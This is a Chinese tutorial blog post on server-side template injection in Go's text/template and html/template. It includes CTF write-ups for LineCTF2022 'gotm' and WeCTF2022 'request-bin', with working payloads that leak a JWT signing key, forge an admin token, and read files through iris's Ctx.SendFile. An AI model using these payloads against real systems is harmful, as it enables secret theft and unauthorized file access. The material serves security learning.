• 浅学Go下的ssti

    前言

    作为强类型的静态语言，golang的安全属性从编译过程就能够避免大多数安全问题，一般来说也唯有依赖库和开发者自己所编写的操作漏洞，才有可能形成漏洞利用点，在本文，主要学习探讨一下golang的一些ssti模板注入问题

    GO模板引擎

    Go 提供了两个模板包。一个是 text/template，另一个是html/template。text/template对 XSS 或任何类型的 HTML 编码都没有保护，因此该模板并不适合构建 Web 应用程序，而html/template与text/template基本相同，但增加了HTML编码等安全保护，更加适用于构建web应用程序

    template简介

    template之所以称作为模板的原因就是其由静态内容和动态内容所组成，可以根据动态内容的变化而生成不同的内容信息交由客户端，以下即一个简单例子

    1. 模板内容 Hello, {{.Name}} Welcome to go web programming…
    2. 期待输出 Hello, liumiaocn Welcome to go web programming…

    而作为go所提供的模板包，text/template和html/template的主要区别就在于对于特殊字符的转义与转义函数的不同，但其原理基本一致，均是动静态内容结合，以下是两种模板的简单演示

    text/template

    1. package main
    2.  
    3. import (
    4.     "net/http"
    5.     "text/template"
    6. )
    7.  
    8. type User struct {
    9.     ID       int
    10.     Name  string
    11.     Email    string
    12.     Password string
    13. }
    14.  
    15. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    16.     user := &User{1,"John", "test@example.com", "test123"}
    17.     r.ParseForm()
    18.     tpl := `
      Hi, {{ .Name }}

      Your Email is {{ .Email }}`
    19.     data := map[string]string{
    20.         "Name":  user.Name,
    21.         "Email": user.Email,
    22.     }
    23.     html := template.Must(template.New("login").Parse(tpl))
    24.     html.Execute(w, data)
    25. }
    26.  
    27. func main() {
    28.     server := http.Server{
    29.         Addr: "127.0.0.1:8888",
    30.     }
    31.     http.HandleFunc("/string", StringTpl2Exam)
    32.     server.ListenAndServe()
    33. }

    struct是定义了的一个结构体，在go中，我们是通过结构体来类比一个对象，因此他的字段就是一个对象的属性，在该实例中，我们所期待的输出内容为下

    1. 模板内容 
      Hi, {{ .Name }}

      Your Email is {{ .Email }}
    2. 期待输出 
      Hi, John

      Your Email is test@example.com
    7a5e0dcb5dda7eaa0c2a8144f93cc288.png

    可以看得出来，当传入参数可控时，就会经过动态内容生成不同的内容，而我们又可以知道，go模板是提供字符串打印功能的，我们就有机会实现xss

    1. package main
    2.  
    3. import (
    4.     "net/http"
    5.     "text/template"
    6. )
    7.  
    8. type User struct {
    9.     ID       int
    10.     Name  string
    11.     Email    string
    12.     Password string
    13. }
    14.  
    15. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    16.     user := &User{1,"John", "test@example.com", "test123"}
    17.     r.ParseForm()
    18.     tpl := `
      Hi, {{""}}

      Your Email is {{ .Email }}`
    19.     data := map[string]string{
    20.         "Name":  user.Name,
    21.         "Email": user.Email,
    22.     }
    23.     html := template.Must(template.New("login").Parse(tpl))
    24.     html.Execute(w, data)
    25. }
    26.  
    27. func main() {
    28.     server := http.Server{
    29.         Addr: "127.0.0.1:8888",
    30.     }
    31.     http.HandleFunc("/string", StringTpl2Exam)
    32.     server.ListenAndServe()
    33. }
    1. 模板内容 
      Hi, {{""}}

      Your Email is {{ .Email }}
    2. 期待输出 
      Hi, {{""}}

      Your Email is test@example.com
    3. 实际输出 弹出/xss/
    a36203b40424fb46dcae3732a04fcebc.png

    这里就是text/template和html/template的最大不同了

    html/template

    同样的例子，但是我们把导入的模板包变成html/template

    1. package main
    2.  
    3. import (
    4.     "net/http"
    5.     "html/template"
    6. )
    7.  
    8. type User struct {
    9.     ID       int
    10.     Name  string
    11.     Email    string
    12.     Password string
    13. }
    14.  
    15. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    16.     user := &User{1,"John", "test@example.com", "test123"}
    17.     r.ParseForm()
    18.     tpl := `
      Hi, {{""}}

      Your Email is {{ .Email }}`
    19.     data := map[string]string{
    20.         "Name":  user.Name,
    21.         "Email": user.Email,
    22.     }
    23.     html := template.Must(template.New("login").Parse(tpl))
    24.     html.Execute(w, data)
    25. }
    26.  
    27. func main() {
    28.     server := http.Server{
    29.         Addr: "127.0.0.1:8888",
    30.     }
    31.     http.HandleFunc("/string", StringTpl2Exam)
    32.     server.ListenAndServe()
    33. }
    7fb06932c941b2011c1faf081823bafe.png

    可以看到，xss语句已经被转义实体化了，因此对于html/template来说，传入的script和js都会被转义，很好地防范了xss，但text/template也提供了内置函数html来转义特殊字符，除此之外还有js，也存在template.HTMLEscapeString等转义函数

    而通过html/template包等，go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果

    html/template 包会做一些编码来帮助防止代码注入，而且这种编码方式是上下文相关的，这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中，模板库将确定如何正确编码文本

    template常用基本语法

    在{{}}内的操作称之为pipeline

    1. {{.}} 表示当前对象，如user对象
    2.  
    3. {{.FieldName}} 表示对象的某个字段
    4.  
    5. {{range …}}{{end}} go中for…range语法类似，循环
    6.  
    7. {{with …}}{{end}} 当前对象的值，上下文
    8.  
    9. {{if …}}{{else}}{{end}} go中的if-else语法类似，条件选择
    10.  
    11. {{xxx | xxx}} 左边的输出作为右边的输入
    12.  
    13. {{template "navbar"}} 引入子模版

    漏洞演示

    在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单，我们需要浏览文档以查找仅 Go 原生模板中的行为，最常见的就是占位符.

    在template中，点"."代表当前作用域的当前对象，它类似于java/c++的this关键字，类似于perl/python的self

    1. package main
    2.  
    3. import (
    4.     "net/http"
    5.     "text/template"
    6. )
    7.  
    8. type User struct {
    9.     ID       int
    10.     Name  string
    11.     Email    string
    12.     Password string
    13. }
    14.  
    15. func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    16.     user := &User{1,"John", "test@example.com", "test123"}
    17.     r.ParseForm()
    18.     tpl := `
      Hi, {{ .Name }}

      Your Email is {{ . }}`
    19.     data := map[string]string{
    20.         "Name":  user.Name,
    21.         "Email": user.Email,
    22.     }
    23.     html := template.Must(template.New("login").Parse(tpl))
    24.     html.Execute(w, data)
    25. }
    26.  
    27. func main() {
    28.     server := http.Server{
    29.         Addr: "127.0.0.1:8888",
    30.     }
    31.     http.HandleFunc("/string", StringTpl2Exam)
    32.     server.ListenAndServe()
    33. }

    输出为

    1. 模板内容 
      Hi, {{ .Name }}

      Your Email is {{ . }}
    2. 期待输出 
      Hi, John

      Your Email is map[Email:test@example.com Name:John]

    可以看到结构体内的都会被打印出来，我们也常常利用这个检测是否存在SSTI

    接下来就以几道题目来验证一下

    [LineCTF2022]gotm

    1. package main
    2.  
    3. import (
    4.     "encoding/json"
    5.     "fmt"
    6.     "log"
    7.     "net/http"
    8.     "os"
    9.     "text/template"
    10.  
    11.     "github.com/golang-jwt/jwt"
    12. )
    13.  
    14. type Account struct {
    15.     id         string
    16.     pw         string
    17.     is_admin   bool
    18.     secret_key string
    19. }
    20.  
    21. type AccountClaims struct {
    22.     Id       string `json:"id"`
    23.     Is_admin bool   `json:"is_admin"`
    24.     jwt.StandardClaims
    25. }
    26.  
    27. type Resp struct {
    28.     Status bool   `json:"status"`
    29.     Msg    string `json:"msg"`
    30. }
    31.  
    32. type TokenResp struct {
    33.     Status bool   `json:"status"`
    34.     Token  string `json:"token"`
    35. }
    36.  
    37. var acc []Account
    38. var secret_key = os.Getenv("KEY")
    39. var flag = os.Getenv("FLAG")
    40. var admin_id = os.Getenv("ADMIN_ID")
    41. var admin_pw = os.Getenv("ADMIN_PW")
    42.  
    43. func clear_account() {
    44.     acc = acc[:1]
    45. }
    46.  
    47. func get_account(uid string) Account {
    48.     for i := range acc {
    49.         if acc[i].id == uid {
    50.             return acc[i]
    51.         }
    52.     }
    53.     return Account{}
    54. }
    55.  
    56. func jwt_encode(id string, is_admin bool) (string, error) {
    57.     claims := AccountClaims{
    58.         id, is_admin, jwt.StandardClaims{},
    59.     }
    60.     token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
    61.     return token.SignedString([]byte(secret_key))
    62. }
    63.  
    64. func jwt_decode(s string) (string, bool) {
    65.     token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
    66.         return []byte(secret_key), nil
    67.     })
    68.     if err != nil {
    69.         fmt.Println(err)
    70.         return "", false
    71.     }
    72.     if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
    73.         return claims.Id, claims.Is_admin
    74.     }
    75.     return "", false
    76. }
    77.  
    78. func auth_handler(w http.ResponseWriter, r *http.Request) {
    79.     uid := r.FormValue("id")
    80.     upw := r.FormValue("pw")
    81.     if uid == "" || upw == "" {
    82.         return
    83.     }
    84.     if len(acc) > 1024 {
    85.         clear_account()
    86.     }
    87.     user_acc := get_account(uid)
    88.     if user_acc.id != "" && user_acc.pw == upw {
    89.         token, err := jwt_encode(user_acc.id, user_acc.is_admin)
    90.         if err != nil {
    91.             return
    92.         }
    93.         p := TokenResp{true, token}
    94.         res, err := json.Marshal(p)
    95.         if err != nil {
    96.         }
    97.         w.Write(res)
    98.         return
    99.     }
    100.     w.WriteHeader(http.StatusForbidden)
    101.     return
    102. }
    103.  
    104. func regist_handler(w http.ResponseWriter, r *http.Request) {
    105.     uid := r.FormValue("id")
    106.     upw := r.FormValue("pw")
    107.  
    108.     if uid == "" || upw == "" {
    109.         return
    110.     }
    111.  
    112.     if get_account(uid).id != "" {
    113.         w.WriteHeader(http.StatusForbidden)
    114.         return
    115.     }
    116.     if len(acc) > 4 {
    117.         clear_account()
    118.     }
    119.     new_acc := Account{uid, upw, false, secret_key}
    120.     acc = append(acc, new_acc)
    121.  
    122.     p := Resp{true, ""}
    123.     res, err := json.Marshal(p)
    124.     if err != nil {
    125.     }
    126.     w.Write(res)
    127.     return
    128. }
    129.  
    130. func flag_handler(w http.ResponseWriter, r *http.Request) {
    131.     token := r.Header.Get("X-Token")
    132.     if token != "" {
    133.         id, is_admin := jwt_decode(token)
    134.         if is_admin == true {
    135.             p := Resp{true, "Hi " + id + ", flag is " + flag}
    136.             res, err := json.Marshal(p)
    137.             if err != nil {
    138.             }
    139.             w.Write(res)
    140.             return
    141.         } else {
    142.             w.WriteHeader(http.StatusForbidden)
    143.             return
    144.         }
    145.     }
    146. }
    147.  
    148. func root_handler(w http.ResponseWriter, r *http.Request) {
    149.     token := r.Header.Get("X-Token")
    150.     if token != "" {
    151.         id, _ := jwt_decode(token)
    152.         acc := get_account(id)
    153.         tpl, err := template.New("").Parse("Logged in as " + acc.id)
    154.         if err != nil {
    155.         }
    156.         tpl.Execute(w, &acc)
    157.     } else {
    158.  
    159.         return
    160.     }
    161. }
    162.  
    163. func main() {
    164.     admin := Account{admin_id, admin_pw, true, secret_key}
    165.     acc = append(acc, admin)
    166.  
    167.     http.HandleFunc("/", root_handler)
    168.     http.HandleFunc("/auth", auth_handler)
    169.     http.HandleFunc("/flag", flag_handler)
    170.     http.HandleFunc("/regist", regist_handler)
    171.     log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
    172. }

    我们先对几个路由和其对应的函数进行分析

    struct结构

    1. type Account struct {
    2.     id         string
    3.     pw         string
    4.     is_admin   bool
    5.     secret_key string
    6. }

    注册功能

    1. func regist_handler(w http.ResponseWriter, r *http.Request) {
    2.     uid := r.FormValue("id")
    3.     upw := r.FormValue("pw")
    4.  
    5.     if uid == "" || upw == "" {
    6.         return
    7.     }
    8.  
    9.     if get_account(uid).id != "" {
    10.         w.WriteHeader(http.StatusForbidden)
    11.         return
    12.     }
    13.     if len(acc) > 4 {
    14.         clear_account()
    15.     }
    16.     new_acc := Account{uid, upw, false, secret_key} //创建新用户
    17.     acc = append(acc, new_acc)
    18.  
    19.     p := Resp{true, ""}
    20.     res, err := json.Marshal(p)
    21.     if err != nil {
    22.     }
    23.     w.Write(res)
    24.     return
    25. }

    登录功能

    1. func auth_handler(w http.ResponseWriter, r *http.Request) {
    2.     uid := r.FormValue("id")
    3.     upw := r.FormValue("pw")
    4.     if uid == "" || upw == "" {
    5.         return
    6.     }
    7.     if len(acc) > 1024 {
    8.         clear_account()
    9.     }
    10.     user_acc := get_account(uid)
    11.     if user_acc.id != "" && user_acc.pw == upw {    //检验id和pw
    12.         token, err := jwt_encode(user_acc.id, user_acc.is_admin)
    13.         if err != nil {
    14.             return
    15.         }
    16.         p := TokenResp{true, token}     //返回token
    17.         res, err := json.Marshal(p)
    18.         if err != nil {
    19.         }
    20.         w.Write(res)
    21.         return
    22.     }
    23.     w.WriteHeader(http.StatusForbidden)
    24.     return
    25. }

    认证功能

    1. func root_handler(w http.ResponseWriter, r *http.Request) {
    2.     token := r.Header.Get("X-Token")
    3.     if token != "" {    //根据token解出id，根据uid取出对应account
    4.         id, _ := jwt_decode(token)
    5.         acc := get_account(id)
    6.         tpl, err := template.New("").Parse("Logged in as " + acc.id)
    7.         if err != nil {
    8.         }
    9.         tpl.Execute(w, &acc)
    10.     } else {
    11.  
    12.         return
    13.     }
    14. }

    得到account

    1. func get_account(uid string) Account {
    2.     for i := range acc {
    3.         if acc[i].id == uid {
    4.             return acc[i]
    5.         }
    6.     }
    7.     return Account{}
    8. }

    flag路由

    1. func flag_handler(w http.ResponseWriter, r *http.Request) {
    2.     token := r.Header.Get("X-Token")
    3.     if token != "" {
    4.         id, is_admin := jwt_decode(token)
    5.         if is_admin == true {   //将is_admin修改为true即可得到flag
    6.             p := Resp{true, "Hi " + id + ", flag is " + flag}
    7.             res, err := json.Marshal(p)
    8.             if err != nil {
    9.             }
    10.             w.Write(res)
    11.             return
    12.         } else {
    13.             w.WriteHeader(http.StatusForbidden)
    14.             return
    15.         }
    16.     }
    17. }

    所以思路就清晰了，我们需要得到secret_key，然后继续jwt伪造得到flag

    而由于root_handler函数中得到的acc是数组中的地址，即会在全局变量acc函数中查找我们的用户，这时传入{{.secret_key}}会返回空，所以我们用{{.}}来得到结构体内所有内容

    /regist?id={{.}}&pw=123
    6f57c0158a56e908fb27a257fcac606b.png 
    /auth?id={{.}}&pw=123
    {"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
    a06fbd6c2ff068332ed6dec7a009b51d.png

    带上token重新访问

    Logged in as {{{.}} 123 false this_is_f4Ke_key}
    a06d4a690595a3d592549218f704ef1d.png

    得到secret_key，进行jwt伪造，把 is_admin修改为true，key填上secret_key得到

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
    18cf94258f58b698745e9b93d987c9ba.png

    带上token访问/flag

    baac256cc35b574d0ca7beed98321f25.png

    [WeCTF2022]request-bin

    洁白一片，使用{{.}}进行检测

    54f191144209523baa6bf35bc2727a4a.png

    这道题目采用的框架是iris，用户可以对日志的格式参数进行控制，而参数又会被当成模板渲染，所以我们就可以利用该点进行ssti

    我们需要的是进行文件的读取，所以我们需要看看iris的accesslog库的模板注入如何利用

    在Accesslog的结构体中可以发现

    1. type Log struct {
    2.     // The AccessLog instance this Log was created of.
    3.     Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
    4.  
    5.     // The time the log is created.
    6.     Now time.Time `json:"-" yaml:"-" toml:"-"`
    7.     // TimeFormat selected to print the Time as string,
    8.     // useful on Template Formatter.
    9.     TimeFormat string `json:"-" yaml:"-" toml:"-"`
    10.     // Timestamp the Now's unix timestamp (milliseconds).
    11.     Timestamp int64 `json:"timestamp" csv:"timestamp"`
    12.  
    13.     // Request-Response latency.
    14.     Latency time.Duration `json:"latency" csv:"latency"`
    15.     // The response status code.
    16.     Code int `json:"code" csv:"code"`
    17.     // Init request's Method and Path.
    18.     Method string `json:"method" csv:"method"`
    19.     Path   string `json:"path" csv:"path"`
    20.     // The Remote Address.
    21.     IP string `json:"ip,omitempty" csv:"ip,omitempty"`
    22.     // Sorted URL Query arguments.
    23.     Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
    24.     // Dynamic path parameters.
    25.     PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
    26.     // Fields any data information useful to represent this Log.
    27.     Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
    28.     // The Request and Response raw bodies.
    29.     // If they are escaped (e.g. JSON),
    30.     // A third-party software can read it through:
    31.     // data, _ := strconv.Unquote(log.Request)
    32.     // err := json.Unmarshal([]byte(data), &customStruct)
    33.     Request  string `json:"request,omitempty" csv:"request,omitempty"`
    34.     Response string `json:"response,omitempty" csv:"response,omitempty"`
    35.     //  The actual number of bytes received and sent on the network (headers + body or body only).
    36.     BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
    37.     BytesSent     int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
    38.  
    39.     // A copy of the Request's Context when Async is true (safe to use concurrently),
    40.     // otherwise it's the current Context (not safe for concurrent access).
    41.     Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
    42. }

    这里我们经过审查，会发现context里面存在SendFile进行文件强制下载

    1a21bba0d98ff647a3667a3dde38cdef.png

    所以我们可以构造payload如下

    {{ .Ctx.SendFile "/flag" "1.txt"}}
    ba2fa7ac4c7001bcb34b91335b66bf66.png

    后言

    golang的template跟很多模板引擎的语法差不多，比如双花括号指定可解析的对象，假如我们传入的参数是可解析的，就有可能造成泄露，其本质就是合并替换，而常用的检测payload可以用占位符.，对于该漏洞的防御也是多注意对传入参数的控制

    参考

    • • https://docs.iris-go.com/iris/file-server/context-file-server

    • • https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html

    • • https://www.onsecurity.io/blog/go-ssti-method-research/

    原创稿件征集

    征集原创技术文章中，欢迎投递

    投稿邮箱：edu@antvsion.com

    文章类型：黑客极客技术、信息安全热点安全研究分析等安全相关

    通过审核并发布能收获200-800元不等的稿酬。

    更多详情，点我查看！

    75ab49ec7248ec5e538a5261a891efe1.gif

    靶场实操，戳“阅读原文“

  • 相关阅读:
    51单片机自行车码表 速度里程计霍尔测速模拟电机设计
    从0开始安装k8s1.25【最新k8s版本——20220904】
    【g2o】g2o学习笔记 BA相关
    iNFTnews | 迪士尼如何布局Web3
    （附源码）计算机毕业设计SSM基于框架的临时摊位管理系统
    Nacos安装
    LeetCode(力扣)17. 电话号码的字母组合Python
    C++ 函数修改指针指向__fun（int *&pointer）
    Web Storage是什么？Web Storage详解
    Spring Boot Admin 介绍及使用
  • 原文地址：https://blog.csdn.net/qq_38154820/article/details/128030222